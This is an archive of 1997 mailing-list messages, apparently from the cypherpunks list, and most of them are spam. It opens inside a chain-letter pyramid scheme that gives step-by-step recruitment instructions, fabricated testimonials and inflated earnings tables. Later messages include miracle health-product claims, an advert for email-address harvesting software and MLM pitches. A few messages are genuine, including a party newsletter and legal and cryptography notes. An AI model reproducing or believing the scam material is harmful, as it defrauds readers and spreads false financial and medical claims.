is.  If I can do this, so can you!

The following is a copy of the e-mail I read:

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                  This is a LEGAL, MONEY-MAKING PHENOMENON.
        PRINT this letter, read the directions, THEN READ IT AGAIN!!!

You are about to embark on the most profitable and unique program you may
ever see.  Many times over, it has demonstrated and proven its ability to
generate large amounts of CASH.  This program is showing fantastic appeal
with a huge and ever-growing on-line population desirous of additional
income.

This is a legitimate, LEGAL, money-making opportunity.  It does not require
you to come in contact with people, do any hard work, and best of all, you
never have to leave the house, except to get the mail and go to the bank!

This truly is the lucky break you've been waiting for!  Simply follow the
easy instructions in this letter, and your financial dreams will come true!
 When followed correctly, this multi-level marketing program works
perfectly..100% EVERY TIME!
Thousands of people have used this program to:
     - Raise capital to start their own business
     - Pay off debts
     - Buy homes, cars, etc.
This is your chance, don't pass it up!

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

This is what you will do to reach financial freedom:

You will send thousands of people a product for $5.00 that costs next to
nothing to produce and e-mail.  As with all multi-level businesses, you will
increase your business building your downline and selling the products
(reports).  Every state in the U.S. allows you to recruit new multi-level
business online (via your computer).

The products in this program are a series of four business and financial
reports costing $5.00 each.  Each order you receive via "snail mail" will
include:
     -$5.00 cash
     -The name and number of the report they are ordering
     -The e-mail address where you will e-mail them the report they ordered.

To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!
 The $5.00 is yours!  This is the EASIEST multi-level marketing business
anywhere!

FOLLOW THE INSTRUCTIONS TO THE LETTER AND BE PREPARED TO REAP THE STAGGERING
BENEFITS!

*******I N S T R U C T I O N S*********

This is what you MUST do:
1. Order all 4 reports shown on the list below.

*For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE
ORDERING, YOUR E-MAIL ADDRESS, and YOUR RETURN POSTAL ADDRESS (in case of a
problem) to the person whose name appears on the list next to the report.

*When you place your order, make sure you order each of the four reports.
 You will need all four reports so that you can save them on your computer
and resell them.

*Usually within 10 days you will receive, via e-mail, the four reports.  Save
them on your computer so they will be accessible for you to send to the
1,000's of people who will order them from you.

2. IMPORTANT-DO NOT alter the names of the people who are listed next to each
report, or their sequence on the list, in any way other than is instructed
below in steps "a" through "f" or you will lose out on the majority of your
profits.  Once you understand the way this works, you'll also see how it
doesn't work if you change it.!!  Remember, this method has been tested, and i
f you alter it , it will not work.

a.  Look below for the listing of available reports.

b.  After you've ordered the four reports, take this advertisement and remove
the address under REPORT #4.  This person has made it through the cycle and
is no doubt counting their 50 grand!

c.  Move the name and address under REPORT #3 down to REPORT #4.

d.  Move the name and address under REPORT #2 down to REPORT #3.

e.  Move the name and address under REPORT #1 down to REPORT #2.

f.  Insert your name and address in the REPORT #1 position.

  Please make sure that you copy everyone's name and address ACCURATELY!!!

3. Take this entire letter, including the modified list of names, and save it
to your computer.  Make NO changes to the instruction portion of this letter.

4. Now you,re ready to start an advertising campaign on the WORLDWIDE WEB!
 Advertising on the WEB is very inexpensive, and there are HUNDREDS of FREE
places to advertise.  Another avenue you could use for advertising is e-mail
lists.  You can buy these lists for under $20 for 2,000 addresses or you can
pay someone a minimal charge to take care of it for you.

5.  For every $5.00 you receive, all you must do is e-mail them the report
that they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE ON ALL
ORDERS!  This will gaurantee that the e-mail THEY send out with YOUR name and
address on it, will be prompt because they can't advertise until they receive
the report!

AVAILABLE REPORTS
******Order Each REPORT by NUMBER and NAME******

Notes:
-  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
-  Make sure that the cash is concealed by wrapping it in two sheets of paper
-  On one of those sheets of paper, include:  1.) the NUMBER and NAME of the
report you are ordering, 2.) your e-mail address and 3.) your postal address
(in case of problems) It is suggested that you rent a mailbox to avoid having
your home address being sent to millions of peolple.
__________________________________________________________
REPORT #1 "Making Millions Through Advertising"

Order REPORT #1 From:
         MJP Enterprises
         PO BOX 30404
         Alexandria, VA 22310
___________________________________________________________
REPORT #2 "Creating Your Ad"

Order REPORT #2 From:
         GCM, Dept. C
         8867 Highland Rd. Suite 112
         Baton Rouge, LA 70808
____________________________________________________________
REPORT #3 " Sales and Product Description"

Order REPORT #3 From:
      A.R. Ball
         1428 Josephine St.---suite D
         New Orleans, LA 70130
_____________________________________________________________
REPORT #4 "Online Advertising"

Order REPORT #4 From:
         F & T Marketing Group
         PO BOX 305
         Binghamton, NY 13902
_____________________________________________________________

   HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU MONEY$

Let's say that you decide to start small just to see how well it works.
 Assume your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet will EASILY get a larger
response.)  Also assume that everyone else in your organization gets ONLY 10
downline members.  Follow this example to achieve the STAGGERING results
below.

1st level-your 10 members with $5........................................
.$50
2nd level-10 members from those 10($5 x 100)..........................$500
3rd level-10 members from those 100($5 x 1,000)......................$5,000
4th level-10 members from those 1,000($5 x 10,000).................$50,000
                                       THIS TOTALS-----------$55,500

Remember friends, this assumes that the people who participate on;y recruit
10 people each.  Think for a moment what would happen if they got 20 people
to participate!  Most peolple get 100's of participants.  THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can
afford $20).  You obviously already have an internet connection and e-mail is
FREE!

*****TIPS FOR SUCCESS*****

*  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow the

    directions accurately.

*  Send for the four reports immediately so you will have them when the
orders
   start coming in because:

When you receive a $5 order, you MUST send out the requested product/report
to comply with the U.S. Postal and Lottery Laws, Title 18, Section 3005 in
the U.S. Code, also Code of Federal Regulations vol. 16, sections 255 and
436, which state that "a product or service must be exchanged for money
received."

*  ALWAYS PROVIDE SAME DAY SERVICE ON THE ORDERS YOU RECEIVE.

*  Be patient and persistent with this program.  If you follow the
instructions exactly
   the results will undoubtedly be SUCCESSFUL!

*  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

*****YOUR SUCCESS GUIDELINE*****

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue
advertising until you do.  Then, a couple of weeks later you should receive
at least 100 orders for REPORT #2.  If you don't, continue advertising until
you do.  Once you have received 100 or more orders for REPORT #2, YOU CAN
RELAX, because the system is already working for you, and the cash will
continue to roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in front of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you.  If you want to generate more income,
send another batch of e-mails and start the whole process again!  There is no
limit to the income you will generate from this business!

*****T E S T I M O N I A L S*****
This Program does work, but you must follow it EXACTLY!  Especially the rule
of not trying to place your name in a different position, it won't work and
you'll lose alot of potential income.  I'm living proof that it works.  It
really is a great opportunity to make relatively easy money, with little cost
to you.  If you do choose to participate, follow the program exactly, and
you'll be on your way to financial security.                  Sean
McLaughlin, Jackson, MS

My name is Frank.  My wife Doris, and I live in Bel-Air, MD.  I am a cost
accountant with a major U.S. corporation and I make pretty good money.  When
I received the program I grumbled to Doris about receiving "junk mail".  I
made fun of the whole thing, spouting my knowledge of the population and the
percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my
supposed intelligence and jumped in with both feet.  I made merciless fun of
her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within 2 weeks she had received
over 50 responses.  Within 45 days she had received over $147,200 in $5
bills!  I was shocked!  I was sure that I had it all figured and that it
wouldn't work.  I AM a believer now.  I have joined Doris in her "hobby".  I
did have 7 more years until retirement, but I think of the "rat race" and
it's not for me.  We owe it all to MLM.                          Frank T.,
Bel-AQir, MD

The main reason for this letter is to convince you that this system is
honest, lawful, extremely profitable, and is a way to get a large amount of
money in a short time.  I was approached several times before I checked this
out.  I joined just to see what one could expect in return for the minimal
effort and money required.  To my astonishment, I received $36,470.00 in the
first 14 weeks, with money still coming in.                     Sincerely
Yours, Phillip A. Brown

Not being the gambling type, it took me several weeks to make up my mind to
participate in this plan.  But conservative that I am, I decided that the
initial investment was so little that there was just no way that I wouldn't
get enough orders to at least get my money back.  Boy, was I surprised when I
found my medium-size post office box crammed with orders!  For awhile, it got
so overloaded that I had to start picking up my mail at the window.  I'll
make more money this year than in any 10 years of my life before.  The nice
thing about this deal is that it doesn't matter where in the U.S. the people
live.  There simply isn't a better investment with a faster return.
                     Mary Rockland, Lansing, MI

This is my third time to participate in this plan.  We have quit our jobs,
and will soon buy a home on the beach and live off the interest on our money.
 The only way on earth that this plan will work for you is if you do it.  For
your sake, and for your family's sake, don't pass up this golden opportunity.
 Good luck and happy spending!
                                        Charles Fairchild, Spokane, WA

ORDER YOUR REPORTS TODAY AND GET STARTED ON
YOUR ROAD TO FINANCIAL FREEDOM!!!!!!!!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Fri, 7 Nov 1997 14:49:21 -0800 (PST)
To: (Recipient list suppressed)
Subject: Pauline Hanson's One Nation Monthly Newsletter
Message-ID: <1.5.4.16.19971108082323.10f7954e@mail.pronet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


Issue 1.4, November 1997

----------------------------------------------------------------------------
-------

PLEASE NOTE: No unsolicited email is sent. If you do not want to be on the
mailing list please say "REMOVE" in the subject line and return this message
in the body.

----------------------------------------------------------------------------
-------

Dear supporter in NSW,

Pauline Hanson's One Nation continues to grow an extraordinary rate.

There are now over 200 branches of the party nationwide - this just twenty
eight weeks after the April launch.

The interest in what we have to say and the level of our support is best
demonstrated by comparing the recent visits of National Senator Bill O'Chee
and Pauline Hanson to the traditional National heartland of Gympie in
central Queensland. At their respective dinners O'Chee managed to attract
just 12 people while Hanson attracted a full house of 400!

These are challenging times ahead for the party. With this explosive growth
and interest the Manly head office of One Nation has come under enormous
pressure with calls from the media, the growing need to manage the new
branches and a number of related teething problems.

Please be patient if you find delays in One Nation responding to an inquiry.
This is due to the workload being faced by the Manly office.

--------------------------------------------------------------------

As you will have read Pauline Hanson's One Nation will contest the
Queensland state elections after an independent survey revealed that the
party had, conservatively, up to 27% support in certain electorates. 

If you know of someone who would make a good candidate please contact Manly
office on (02) 9976 0283 for application forms. Please note closing date for
nominations is December 1st.

--------------------------------------------------------------------

There have been a number of One Nation press releases during October. These
can be viewed at:

http://www.gwb.com.au/onenation/press

--------------------------------------------------------------------
Pauline Hanson's on-line Working Group:

There has been a tremendous response to the establishment of Pauline
Hanson's on-line Working Group and we thank those who have become involved
for their support.

If you would like to participate please email the following information for
consideration.

Name, Contact details (address, phone, fax), membership number (this is a
pre-requisite) and branch (default is Manly).

--------------------------------------------------------------------

Like any growing political organisation Pauline Hanson's One Nation needs
your financial support. Please help NOW if you are able... Their is an
on-line form that can be printed out and posted together with your donation at:

http://www.gwb.com.au/pledge.html

Let's get that donation-meter reading moving!




Pauline Hanson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kimmi@4integrity.com
Date: Sat, 8 Nov 1997 09:54:55 -0800 (PST)
To: kimmi@4integrity.com
Subject: Do you suffer from...
Message-ID: <199711081754.JAA17322@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DO YOU SUFFER FROM...

Arthritis, Tension Headaches, Bursitis, Fibromyalgia, Prostatitis, Tennis Elbow, Hypertension, Emphysema, Ulcerative Colitis, Low Back Pain, TMJ, Tendonitis, Diabetes, Chronic Fatigue, Multiple Sclerosis, Hypoglycemia, Parkinson's Disease, Cholesterol or other degenerative diseases?  If so please take this message to heart.  We have information that may be just what you have been looking for.  For more information about all natural, laboratory tested, clinically proven products that are 40% more effective than cetyl myristoleate, 6000 times more potent than vitamin E and 100 times more effective than pycnogenol and are having dramatic results in the treatment of these conditions, send your name, snail-mail address and phone number  to  info@4integrity.com

If you received this message in error, please e-mail us at  remove@4integrity.com and you will be removed from our list.

P.S. Due to the overwhelming number of requests we receive, we will no longer be able to send audio cassettes or literature to requests without complete mailing info and phone numbers.

BULLETIN: NEWLY RELEASED PRODUCT REDUCES RISK OF CORONARY DISEASES BY 60% THROUGH METHYLATION! E-mail us now at news@4integrity.com with your name, address and phone number for more information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mouzairua57@msn.com
Date: Fri, 7 Nov 1997 22:55:52 -0800 (PST)
To: mouzairua57@msn.com
Subject: Send Targeted Email, Make $$$
Message-ID: <199711081105EAA53293@post.net.tr>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000">SOL TEST COLOR
</P><P ALIGN=CENTER><FONT  COLOR="#00ffff" SIZE=3>       </FONT><FONT  COLOR="#ff0000" SIZE=4><B>EARN BIG MONEY WITH OUR NEW TARGETED EMAIL    
 TECHNOLOGY.</FONT><FONT  COLOR="#00ffff" SIZE=3></B>

I would like to introduce you to a new email technology that will change the bulk email business forever!  We all have heard of people making large amounts of money using bulk email.  Now you have access to a  new technology that will make sending mass bulk email obsolete.  No longer will you have to send out hundreds of thousands of emails to get the results you want.  No longer do you have to spend money on email addresses or spend valuable time cutting and pasting addresses from newsgroups, member directories, or web pages. 

</FONT><FONT  COLOR="#ff0000" SIZE=3>CHERRY PICKER</FONT><FONT  COLOR="#00ffff" SIZE=3> will allow you to harvest tens of thousands of addresses or dozens of addresses. It all depends on the parameters you choose. It takes names straight from web pages that search engines find for you. The searches are based on the "key words" you use.  No more having to do mass bulk email to get results or spending money on email addresses that are not targeted or deliverable. 

</FONT><FONT  COLOR="#ff0000" SIZE=3>CHERRY PICKER PRO</FONT><FONT  COLOR="#00ffff" SIZE=3>, like Cherrypicker is a multi-threaded application that
allows you to choose how many connections to run at one time (up to 43 depending on your connection).  Cherrypicker Pro  comes configured to read public servers and pull addresses from over 27,000 different newsgroups. If you choose to read the news groups from your ISP'S server it's even faster. 

Either version of CHERRY PICKER is very easy to run and is now available in a trial version (the Cherrypicker demo will allow you to harvest 50 addresses, 5 times and the Cherrpicker Pro will allow you to harvest 5000 addresses from newsgroups 5 times). This should be plenty of time to see if you like it. The programs are so simple you'll think you overlooked something.  After downloading, all you have to do is double click the icon, put in your keyword, and it will do the rest. 

</FONT><FONT  COLOR="#ff0000" SIZE=3>IT REALLY IS THAT EASY!</FONT><FONT  COLOR="#00ffff" SIZE=3>

Depending on how you set up your searches you can collect thousands of email addresses every day and they can be as general or as targeted as you want. The cost of the programs are $250.00 each or both for $400.00. </FONT><FONT  COLOR="#ff0000" SIZE=3> To order or to request a trail version sent to you  via email call our office at 904-788-3455 between the hours of 10:00 AM and 6:00 PM Monday - Friday EST.</FONT><FONT  COLOR="#00ffff" SIZE=3>  We will email you a trail version immediately.  Once you play with the program we are sure you will want the full versions.  We take Visa, Mastercard, and American Express.  Thank you for calling and we look forward to speaking with you soon.

</FONT><FONT  COLOR="#ff0080" SIZE=5><B>CALL 1-904-788-3455 NOW FOR YOUR FREE TRIAL VERSION!!</FONT><FONT  COLOR="#00ffff" SIZE=3></B>
</FONT><FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#000000" SIZE=3>
</P><P ALIGN=LEFT>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: inbiz@ultramax.net
Date: Sat, 8 Nov 1997 12:50:43 -0800 (PST)
Subject: Free Website for Any Business
Message-ID: <199711082050.MAA18255@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I will give you a FREE FOREVER website for ANY BUSINESS
(except porn or illegal, of course) just for visiting my website.

That's right, I'm  trying to generate traffic to my website, so as
an incentive to get you there, I'll GIVE you your very own website.
(There's even a cool page wizard that makes it a snap to create 
your webpage).

Email me back and I'll tell you the address to go to.

Best Wishes to you in everything you're doing!
Lisa


If you'd like to be removed from this mailing list,
please hit reply and type remove in the subject line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 99001680@msn.com
Date: Sun, 9 Nov 1997 01:58:30 -0800 (PST)
To: 77777777@msn.com
Subject: DO YOU WAGER / GAMBLE ON SPORTS ?
Message-ID: <this.is.the.number.2.call.1.900.484.7777.2.win.big.cash>
MIME-Version: 1.0
Content-Type: text/plain




MR ACTION HAS THE WINNERS FOR SUNDAY & MONDAY 

NFL & BASKETBALL    GUARANTEED TO WIN !!!

UP NOW AT  


1-900-484-7777


$18.00 per call

Under 18 years of age ??

Don't Call!!!

This is a guaranteed pick line. If you do not have a winning day with these selections we will replace the selections or make a refund!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 62789105@06090.com
Date: Sat, 8 Nov 1997 20:20:15 -0800 (PST)
To: cyberpal@internet.com
Subject: Free Wallpaper Tip!!
Message-ID: <19971107005@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Free Wallpaper Tip!!!!

A lot of people have had dark wallpaper installed or have
installed it  themselves, over a light colored wall,
and over time the wall shows through because the seams have expanded.

_____________________________________________________

Here is how to remedy this problem.

Take a latex (eggshell finish) paint tinted to the color of the 
wallpaper background. Paint seam about 3ft down the wall
with a small paint brush. (1inch)  Wipe off immediately, and continue
on down to  finish off the seam. Repeat on every seam that needs it.
Move the brush up and down to color the wall in between seams.

______________________________________________________

You just saved yourself a new wallpaper job.
Now the room is like new, and just in time for the holidays!

Want to save more money with great tips like this?
Of course you do, everybody would.
Well I have ALL of the tips and tricks that the pros 
use to hang paper. Not because I collected them..no,
because I used them every day.

I am a retired paperhanger with over 25 years experience.
I have written an in depth guide for hanging wallpaper.
This guide cuts through all the clutter and gets down to 
the one thing you need to know...how to hang successfully.

This guide will teach you lots of tips and tricks, my way.

That's not all, I have also put together a report on all the 
tricks and tips that paperhangers use!
Including devious things  unscrupulous contractors
use to cheat you.
These are the tricks that cost you money.
The tricks that homeowners just never know,
but the paperhangers do!
Now you can too!!

You can have both reports for the one low price of just $14.95
Print out form below , fill in and mail with check or m/o to:

ImagePro Press
2018 Electric Rd SW, Suite 227
Roanoke,VA 24018


NAME______________________________________________

ADDRESS___________________________________________

APPT#________

CITY__________________ STATE________  ZIP____________

EMAIL ______________________________________________

HOME PHONE___ (____) ______  _______






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Success@www.kse.or.kr
Date: Sun, 9 Nov 1997 09:00:47 -0800 (PST)
To: Netizen@www.kse.or.kr
Subject: FREE Software makes you MONEY
Message-ID: <199702170025.GAA08056@jakemax.com>
MIME-Version: 1.0
Content-Type: text/plain


Fellow Networker:

Please take  a close look at MEGA RESOURCE software for fast cash building and advertising you product and program on software 
WORLDWIDE!

This is NOT Meganets, Megabucks, or like any of those other software programs out there. You actually get a product for each code
you buy to unlock the software.

UNLIMITED LEVELS-unlike the other programs where you drop off the disks.

For a FREE EVALUATION copy and the download site and info,

"mail to: freeinfo@globals-ads.com" for instant info back. DO NOT HIT "REPLY"

If you wish to be REMOVED from *this* mailing list, please
hit reply and type "REMOVE" in the SUBJECT field (not the body).
Our servers are will automatically remove you from our database within 24hrs.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: skyway@t-1net.com
Date: Sun, 9 Nov 1997 10:48:02 -0800 (PST)
To: skyway@t-1net.com
Subject: Make money From People Watching TV
Message-ID: <199709251239.GCC09047@t-1net.com>
MIME-Version: 1.0
Content-Type: text/plain



                  Just Released

Bill Gates has just joined with Ted Turner and Rupert Murdock to form the
greatest consortium of combined technology and opportunity available today!

Their plan is to take over the digital communications market by setting up
people with DSS satellite equipment at no charge.  

As a representative with our company, you will get paid between $25 and
$100 for "giving away" Digital Direct Satellites, For every person that joins
the business with you  to give away free Digital Direct Satellites, you
will make an additional $55 to $280

We are getting paid for getting consumers set up with a total Digital Direct 
Satellite system with no charge, and building the distribution network of 
the future.  

Imagine how easy it is to give these away!  In the first week sharing it
with friends I gave away 5 not even trying and made an extra $375.  There
are no credit applications for the client to fill out, no mandatory 12
month contracts to join, and no surprises later down the line.  The company
will even upgrade the system later if it becomes obsolete, For Free!

This new union was created intentionally to capture a huge active ongoing
database of consumers.  That's right, consumers who will purchase
continuously from shows like QVC, HSN and many others, and when they
purchase off of the TV you as a distributor will also make a commission off
everything that they order, even while you are out golfing or sleeping, 24
hours a day.  All this from you having them fill out an application that
should take no more than 60 seconds.  There are several other ways to get
paid also, and I have enclosed the actual application for you to review.

Could you imagine Christmas when they are buying like crazy and you are
getting paid up to 30% of what they purchase off the television? I could
and that's why we are here.  Come "profit from the future of television"
and join the fastest growing segment of this company and become a winner
with us.

If you are ready for the greatest business opportunity to come down the
pike, don't miss this one, it is only 2 months old!!!

Give our information hot line a call at 1-800-942-9304 pin #20088


CHECK OUT http://www.millenniumgroup2000.com

--------------------------
Removes to skyway@t-1net.com, put remove in subject, thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 98052@juno.com
Date: Sun, 9 Nov 1997 19:28:20 -0800 (PST)
To: 834R89Y40.PRQ8675H5@juno.com
Subject: LEARN HOW TO WIN MORE AT THE HORSE & DOG TRACKS!!!
Message-ID: <1432767@winner.com>
MIME-Version: 1.0
Content-Type: text/plain


FINALLY... A PROVEN AND UNCOMPLICATED METHOD TO INCREASE YOUR
WINNINGS AT THE HORSE AND DOG TRACKS!  YOU MUST SEE IT TO BELIEVE 
IT                                                    IT WORKS!!!!!

                    CLICK ON OUR WEBSITE FOR MORE INFORMATION
  CLICK HERE NOW!!

                                  To remove your name from our list click below.
                        Remove






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 38121737@ibm.net
Date: Sun, 9 Nov 1997 22:09:08 -0800 (PST)
To: Friend@public.com
Subject: SUCCESS ON THE NET
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Hello:

I would like to share with you some information that will help you be successful at 
marketing online. If you're not interested then click on the reply button and type REMOVE
in the subject area and send it back to me and I will remove you from my list.

First of all for only $69 you can become an Insider and receive many benefits:

EMAIL PLATINUM SOFTWARE/ONE MILLION EMAIL ADDRESSES/REMOVAL LISTS/
CHECK-BY-FAX, PHONE, EMAIL SOFTWARE/ADVERTISING/FORUMS & CHAT 
TO HELP YOU FIND OUT WHAT OTHER SUCCESSFUL MARKETERS ARE DOING 
AND LOTS OF OTHER SOFTWARE. CHECK OUT THE WEB SITE TO FIND OUT 
MORE!   http://www.insidermall.com    PIN# 1184

Maybe you don't have anything to market or would be interested in other opportunities
to market. Pull my fax-on-demand at 716-720-2103  document #1 for some excellent
opportunities and information on my fax broadcasting services and fax lists. Fax the last
page to 334-297-5905 and I will fax or email you 152 clean MLM fax numbers.

If you were to ask me which opportunity has the greatest income potential I would tell you-
SOLUTIONS FOR TROUBLED TIMES. It is a PC-based system that provides valuable
information on offshore banking/investments, reducing income taxes, and it is also a lead
generating and advertising program. You don't have to worry about some company
giving you the shaft because with SFTT you are in control. It pays on 7 levels and you 
also receive a self-replicating web page. Call the toll-free hotline at 800-935-5171 #3021
and then email or fax me for more information. You may also listen to the weekly
conference call on Tuesdays at 10:30 pm EST by calling 423-362-4350  ext. 4201.

Thanks for reading this and may you have success on the net!

 DON- EMAIL:  nobber@ibm.net      FAX: 334-297-5905




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Mon, 10 Nov 1997 15:46:29 -0800 (PST)
To: bernstein-announce@toad.com
Subject: Appellee's Brief filed; Government granted extension
Message-ID: <199711102323.PAA22238@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi all,

The Brief for the Appellee Bernstein was filed today in the 9th Circuit
Court of Appeals.  It should be posted at the Electronic Frontier Foundation
site (www.eff.org) soon.

In addition to the Appellee's Brief, five amicus briefs were filed today in
support of the Appellee. 

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pageu@MCI.Com (Streamline International)
Date: Mon, 10 Nov 1997 17:56:35 -0800 (PST)
To: Righton@aol.com
Subject: Interested in Health, Wealth, & Early Retirement?!
Message-ID: <199706033080AAA55426@3453336985BCCD24345.196.90.246>
MIME-Version: 1.0
Content-Type: text/plain



  This is a one time mailing and you will not need to respond to be REMOVED!

  ***************************************************************************************           
AOL                                                                                 Mon300K-Set50
               

Hello,

This is NOT what you think.  You are not left alone to promote this business.  I made
money my first month and have built a strong supportive downline organization.  You can
take advantage of this and begin your way to a more secure financial future.

                 Invest in this and improve your way of life drastically - FOR REAL!!!!                                                   

           NETWORK MARKETING MAGAZINE names Company of the MONTH!!!!

                                      HOTTEST NEW MLM ON THE NET!

This is simply the most explosive company in MLM history.  Simple facts are:

      1. No products to sell
      2. No personal sponsoring required
      3. No Meetings
      4. No distributor kits to buy
      5. No sign up fees

We have designed a system that enables 97% of Mlmers who have never earned more 
than a few hundred dollars to finally be successful.  This allows most families to no longer 
have to rely on the income of one job and one boss!

Our powerful recruiting system offers you these benefits:

    1.  Distributors placed in your downline at no cost to you
    2.  Completely AUTOMATED SPONSORING SYSTEM
    3.  Only one customer needed - yourself
    4.  A 100% committed downline
    5.  Commission check increases every month
    6.  Most lucrative pay plan in the industry
    7.  Earn thousands in the first few months
    8.  Active upline support
    9.  National toll free sponsoring line
   10.  Free Self-replicating Webpage and autoresponders

This is without a doubt the most aggressive MLM company on or off the Internet.  
Last week,  a famous TV Infomercial self made millionaire joined our company.
The sooner you join, the sooner you benefit from the spillover being generated.

To get complete info RIGHT NOW our Autoresponder will send back info to you
within minutes.  Please put SEND INFO in subject area.

             Autoresponder address is >>>   Peck1@worldserenity.com

                            visit my webpage with the Information
                          Provided in the Autoresponder Information
                                

                   *********************************************************************
                       IF YOU WANT TO KNOW HOW TO GET FREE GOLD
                JUST GO TO MY WEB SITE AND REGISTER FOR IT AT NO COST
                                    OR OBLIGATION!








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Mon, 10 Nov 1997 12:18:38 -0800 (PST)
To: cryptography@c2.net
Subject: Re: [patent] Secure electronic message transfer and voting scheme
In-Reply-To: <199711071614.KAA29877@dfw-ix11.ix.netcom.com>
Message-ID: <m0xUzXM-0003bQC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>Patent Number: 5682430 
>Inventor(s): Kilian, Joseph John{#buSako, Kazue#} 

The full text is available at <http://patent.womplex.ibm.com>.

The novelty in this patent is an algorithm that uses Fiat-Shamir to
prove that the mixes operate correctly.  The general idea of using
non-interactive zero-knowledge proofs to verify that mixes follow the
protocol was already published by Rackoff and Simon in 1991, although
that is not acknowledged in the patent specification.

Does anyone have details about Kilian's patent application on identity
escrow, other than the paper at <http://www.princeton.edu/~erez/ident.ps>?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 94M10P920IMS@aol.com
Date: Mon, 10 Nov 1997 22:08:20 -0800 (PST)
To: friends@members.net
Subject: We Do All The Work And You Collect All The Cash
Message-ID: <7492304188567@inet.com>
MIME-Version: 1.0
Content-Type: text/plain


If you're NOT currently looking for an income opportunity, then just 
delete this message.

If you ARE looking for an income opportunity, then...

WELCOME TO THE HOTTEST CASH GENERATING PROGRAM ON THE INTERNET!

I'm sure that this is not the first opportunity that you have 
ever run across that claims that you can make a lot of cash, 
very quickly. But, this just might be the only program you'll 
ever run across, that can actually make that happen.

Every other cash generating program that you've ever run across
was probably doomed from the start, for 3 simple reasons.
	
	1) You needed to dedicate a lot more time and effort into 
	   the marketing of your program, than you originally planned.
	2) You needed to invest a lot more money into the marketing of 
           your program, than you originally expected.
	3) Your success depended solely on you. And, unless you're 
	   a marketing expert, your expected level of success just 
	   wasn't going to be achieved.  

Well, that's where our expertise comes in. We here at Internet Marketing 
Services, have been asked to develop an effective marketing system that 
would require virtually no effort and very little capital. 
 
We are proud to tell you, that our experience in this industry has 
enabled us to create a very low cost, high response, marketing program, 
that blows away traditional methods of network marketing and advertising.

The secret to becoming successful in any business is to get your message 
to as many people as possible, in a cost effective manner. Through our 
creative advertising program were able to greatly reduce our costs and 
we are simply passing the savings on to you. 

IT'S REALLY AMAZING HOW EASY THIS IS AND HOW BEAUTIFULLY IT WORKS!

By compounding our efforts and combining your advertising along with 
other income opportunity seekers wanting to participate in this highly
profitable program, Internet Marketing Services is now able to offer you 
the best Internet marketing rates available anywhere.

HERE'S HOW IT WORKS. Multi-level marketing is still used by some of the 
largest companies in the world today; Amway, Excel and Avon, just to name
a few. This highly effective, multi-level business provides you the same 
type of opportunity. A business that offers a proven cash generating 
program, complete with a low cost internet marketing service. THIS IS 
THE SECRET TO YOUR SUCCESS! 

If a new customer decides to participate in your program, they simply 
send you a $5.00 commission. And the best part is, we do all the hard 
work for you, you just collect your cash. 

As with all multi-level businesses, your income is generated by recruiting 
new customers that have the same interest as you. The desire to create a 
large cash income. And, every state in the USA allows us to legally 
recruit for you, via the Internet.

For an extremely low fee of only $35.00, we will market this highly
profitable opportunity to 750,000 people with your name and address 
inserted into the mailing. Then you just go to your mailbox and collect 
your cash. That's all there is to it.

HERE'S HOW YOUR ADVERTISING DOLLARS COMPOUND. In each mailing your 
name will be included with 2 other distributors. We will then advertise 
your opportunity to 250,000 people, in 3 seperate mailings. So your 
opportunity will be offered to 750,000 different people. 

EXAMPLE:

Mailing #1:       250,000 People
Mailing #2:       250,000 People
Mailing #3:       250,000 People
FOR A TOTAL OF:   750,000 People

NOW, LET'S COMPARE COSTS. If you were to send your offer through the 
postal service, it would cost you $240,000.00, in postage alone.

